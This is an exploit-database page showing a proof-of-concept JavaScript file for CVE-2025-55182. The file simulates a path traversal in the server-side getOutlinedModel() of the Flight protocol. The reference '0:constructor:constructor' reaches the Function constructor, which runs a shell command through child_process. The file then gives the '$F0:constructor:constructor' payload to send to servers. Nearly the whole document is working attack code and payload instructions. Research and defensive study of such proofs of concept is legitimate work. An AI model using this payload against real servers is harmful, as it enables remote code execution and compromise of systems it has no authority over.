Exploit database

GH-a1ccde56279cf5a9a835690a260e51e5

ejpir/cve-2025-55182-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files20
ejpir/cve-2025-55182-researchRevision bd11446e5b2e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/path-traversal-exploit.js

JavaScript · 2,446 bytes
/**
 * CVE-2025-55182 Exploit - Path Traversal to Function Constructor
 *
 * The vulnerability is in getOutlinedModel():
 *
 *   reference = reference.split(":");
 *   for (key = 1; key < reference.length; key++)
 *     parentObject = parentObject[reference[key]];
 *
 * If reference = "0:constructor:constructor", we get:
 *   parentObject["constructor"]["constructor"] = Function!
 */

console.log("=== CVE-2025-55182 Path Traversal Exploit ===\n");

// Simulate getOutlinedModel
function getOutlinedModel_vulnerable(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);

  console.log("Reference split:", reference);
  console.log("Chunk ID:", id);

  // Simulate getting the chunk value (a normal object)
  var chunkValue = response.chunks[id];
  console.log("Chunk value:", chunkValue);

  // VULNERABLE: Path traversal through prototype chain!
  var result = chunkValue;
  for (var i = 1; i < reference.length; i++) {
    console.log(`  Accessing [${reference[i]}]:`, result[reference[i]]);
    result = result[reference[i]];
  }

  return map(response, result);
}

// Simulate a response with a chunk
const response = {
  chunks: {
    0: { someAction: async () => "action result" }  // Normal server actions chunk
  }
};

// Normal reference: "0" -> just returns the chunk
console.log("=== Normal Reference ===");
const normal = getOutlinedModel_vulnerable(response, "0", {}, "", (r, v) => v);
console.log("Result:", normal);
console.log();

// ATTACK: "0:constructor:constructor" -> traverses to Function!
console.log("=== ATTACK Reference ===");
const exploit = getOutlinedModel_vulnerable(response, "0:constructor:constructor", {}, "", (r, v) => v);
console.log("Result:", exploit);
console.log("Is Function:", exploit === Function);
console.log();

// Now we have Function, we can execute code!
console.log("=== RCE ===");
if (exploit === Function) {
  const rce = exploit('return import("child_process").then(m => m.execSync("whoami").toString())')();
  rce.then(r => console.log("RCE Result:", r));
}

console.log("\n=== FLIGHT PROTOCOL PAYLOAD ===");
console.log(`
To exploit, send a Flight protocol payload with:

$F0:constructor:constructor

Where:
- $F = Server function reference prefix
- 0 = Chunk ID (any valid chunk with an object)
- :constructor:constructor = Path traversal to Function

The payload in the bound arguments can be the code to execute!
`);